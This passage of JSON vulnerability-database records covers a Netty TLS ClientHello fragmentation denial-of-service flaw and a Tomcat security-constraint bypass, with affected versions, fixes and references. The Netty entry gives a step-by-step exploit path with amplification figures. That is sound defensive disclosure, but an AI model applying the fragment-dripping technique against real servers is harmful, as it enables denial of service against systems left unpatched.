"org.apache.tomcat:tomcat-coyote", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-coyote" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.115" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.120" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-f525-44xv-f2qj/GHSA-f525-44xv-f2qj.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.20" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-f525-44xv-f2qj/GHSA-f525-44xv-f2qj.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.53" }, { "fixed": "10.1.59" } ] } ], "versions": [ "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-f525-44xv-f2qj/GHSA-f525-44xv-f2qj.json", "last_known_affected_version_range": "<= 10.1.57" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.115" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.120" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-f525-44xv-f2qj/GHSA-f525-44xv-f2qj.json" } } ], "schema_version": "1.9.2", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ] }, { "id": "GHSA-fccg-mwvh-qqg4", "summary": "Netty: Fragmented ClientHello records trigger quadratic pre-handshake reassembly in default SNI parsing", "details": "### Summary\n\nNetty's default SNI entrypoint reparses and recopies previously received ClientHello fragments on every additional TLS handshake record. A remote peer can send a small first record that advertises a large ClientHello length and then drip the body in many tiny records, causing **superlinear (quadratic) CPU work** before the handshake completes. With 4095 one-byte fragments, the handler recopies **8,386,560 bytes** from only **24,579 bytes** on the wire — a **341× amplification** ratio.\n\n### Affected Entrypoints\n\n- `io.netty.handler.ssl.SniHandler` — default constructors\n- `io.netty.handler.ssl.SslClientHelloHandler` — pre-handshake ClientHello aggregation path\n\n### Vulnerable Code Locations\n\n- `handler/src/main/java/io/netty/handler/ssl/SniHandler.java:85`\n- `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:75` (decode entry)\n- `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:165` (handshakeBuffer.clear)\n- `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:174` (writeBytes re-copy)\n- `codec-base/src/main/java/io/netty/handler/codec/ByteToMessageDecoder.java:294` (cumulation retention)\n\n### Exploit Path\n\n```\n1. TCP connection → SniHandler → SslClientHelloHandler.decode\n2. First record: TLS handshake header declaring large ClientHello length (e.g., 4096 bytes)\n3. Attacker sends thousands of tiny follow-on handshake records (1 byte each)\n4. On each fragment: handshakeBuffer.clear() + writeBytes() re-copies ALL accumulated body bytes\n5. Total bytes copied = n*(n+1)/2 where n = number of body bytes → quadratic\n6. Event-loop CPU exhausted before SslHandler takes over\n```\n\n### Impact\n\n- **Vulnerability Type:** Inefficient Algorithmic Complexity\n- An unauthenticated network attacker can drive disproportionate CPU consumption on the Netty event loop\n- Affects **all** Netty deployments using `SniHandler` for TLS termination (the default SNI path)\n- No privileges, user interaction, or special configuration required\n- Can degrade or stall TLS connection handling for all clients on the affected event loop\n- The attack requires only modest bandwidth (~25 KB) to trigger significant CPU work\n\n---\n### Credits\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/", "aliases": [ "CVE-2026-75596" ], "modified": "2026-09-08T18:27:48.113951573Z", "published": "2026-09-08T18:14:56Z", "database_specific": { "nvd_published_at": "2026-08-19T21:17:37Z", "cwe_ids": [ "CWE-407" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2026-09-08T18:14:56Z" }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-fccg-mwvh-qqg4" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75596" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/17213" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/17217" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/1b5abc6443b63726c72cdd285af2feb7ddbb8ff7" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/9e0519239108a69b7e9bbc5e9182ee139a0d7961" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://github.com/netty/netty/releases/tag/netty-4.1.137.Final" }, { "type": "WEB", "url": "https://github.com/netty/netty/releases/tag/netty-4.2.17.Final" } ], "affected": [ { "package": { "name": "io.netty:netty-handler", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-handler" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.2.0.Final" }, { "fixed": "4.2.17.Final" } ] } ], "versions": [ "4.2.0.Final", "4.2.1.Final", "4.2.10.Final", "4.2.11.Final", "4.2.12.Final", "4.2.13.Final", "4.2.14.Final", "4.2.15.Final", "4.2.16.Final", "4.2.2.Final", "4.2.3.Final", "4.2.4.Final", "4.2.5.Final", "4.2.6.Final", "4.2.7.Final", "4.2.8.Final", "4.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "<= 4.2.16.Final", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-fccg-mwvh-qqg4/GHSA-fccg-mwvh-qqg4.json" } }, { "package": { "name": "io.netty:netty-handler", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-handler" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "4.1.137.Final" } ] } ], "versions": [ "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8", "4.0.0.Beta1", "4.0.0.Beta2", "4.0.0.Beta3", "4.0.0.CR1", "4.0.0.CR2", "4.0.0.CR3", "4.0.0.CR4", "4.0.0.CR5", "4.0.0.CR6", "4.0.0.CR7", "4.0.0.CR8", "4.0.0.CR9", "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.100.Final", "4.1.101.Final", "4.1.102.Final", "4.1.103.Final", "4.1.104.Final", "4.1.105.Final", "4.1.106.Final", "4.1.107.Final", "4.1.108.Final", "4.1.109.Final", "4.1.11.Final", "4.1.110.Final", "4.1.111.Final", "4.1.112.Final", "4.1.113.Final", "4.1.114.Final", "4.1.115.Final", "4.1.116.Final", "4.1.117.Final", "4.1.118.Final", "4.1.119.Final", "4.1.12.Final", "4.1.120.Final", "4.1.121.Final", "4.1.122.Final", "4.1.123.Final", "4.1.124.Final", "4.1.125.Final", "4.1.126.Final", "4.1.127.Final", "4.1.128.Final", "4.1.129.Final", "4.1.13.Final", "4.1.130.Final", "4.1.131.Final", "4.1.132.Final", "4.1.133.Final", "4.1.134.Final", "4.1.135.Final", "4.1.136.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.61.Final", "4.1.62.Final", "4.1.63.Final", "4.1.64.Final", "4.1.65.Final", "4.1.66.Final", "4.1.67.Final", "4.1.68.Final", "4.1.69.Final", "4.1.7.Final", "4.1.70.Final", "4.1.71.Final", "4.1.72.Final", "4.1.73.Final", "4.1.74.Final", "4.1.75.Final", "4.1.76.Final", "4.1.77.Final", "4.1.78.Final", "4.1.79.Final", "4.1.8.Final", "4.1.80.Final", "4.1.81.Final", "4.1.82.Final", "4.1.83.Final", "4.1.84.Final", "4.1.85.Final", "4.1.86.Final", "4.1.87.Final", "4.1.88.Final", "4.1.89.Final", "4.1.9.Final", "4.1.90.Final", "4.1.91.Final", "4.1.92.Final", "4.1.93.Final", "4.1.94.Final", "4.1.95.Final", "4.1.96.Final", "4.1.97.Final", "4.1.98.Final", "4.1.99.Final" ], "database_specific": { "last_known_affected_version_range": "<= 4.1.136.Final", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-fccg-mwvh-qqg4/GHSA-fccg-mwvh-qqg4.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" } ] }, { "id": "GHSA-gcx9-497g-6cp6", "summary": "Apache Tomcat has an Improper Access Control, Incorrect Authorization vulnerability", "details": "Improper Access Control, Incorrect Authorization vulnerability in Apache Tomcat leads to security constraint bypass if a constraint for a longer path is specified before a more restrictive constraint for a shorter sub-path.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.25, 10.1.58, 9.0.121, which fixes the issue.", "aliases": [ "BIT-tomcat-2026-65182", "CVE-2026-65182" ], "modified": "2026-09-11T08:25:41.300012858Z", "published": "2026-08-26T00:30:52Z", "database_specific": { "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2026-09-02T22:37:43Z", "nvd_published_at": "2026-08-25T22:17:04Z", "cwe_ids": [ "CWE-284" ] }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65182" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/8bafd79a3b54684e80e9cb1bafd4746aede7d3f5" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/b2c56ec8f20c66773a1a813034ffcdb60841f1cf" }, { "type": "WEB", "url": "https://github.com/apache/tomcat/commit/b79752d2a8578d94743e2a95c50af297f780c0df" }, { "type": "WEB", "url": "https://lists.apache.org/thread/joosxvzc9b49ttj8lj0jw9mqt0ml767m" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-10.html" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-11.html" }, { "type": "WEB", "url": "https://tomcat.apache.org/security-9.html" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2026/08/26/1" } ], "affected": [ { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", "10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0-M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.35", "7.0.37", "7.0.39", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", "10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0-M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat:tomcat-catalina", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat-catalina" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.0", "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.11", "7.0.12", "7.0.14", "7.0.16", "7.0.19", "7.0.2", "7.0.20", "7.0.21", "7.0.22", "7.0.23", "7.0.25", "7.0.26", "7.0.27", "7.0.28", "7.0.29", "7.0.30", "7.0.32", "7.0.33", "7.0.34", "7.0.35", "7.0.37", "7.0.39", "7.0.4", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.5", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.6", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.8", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ 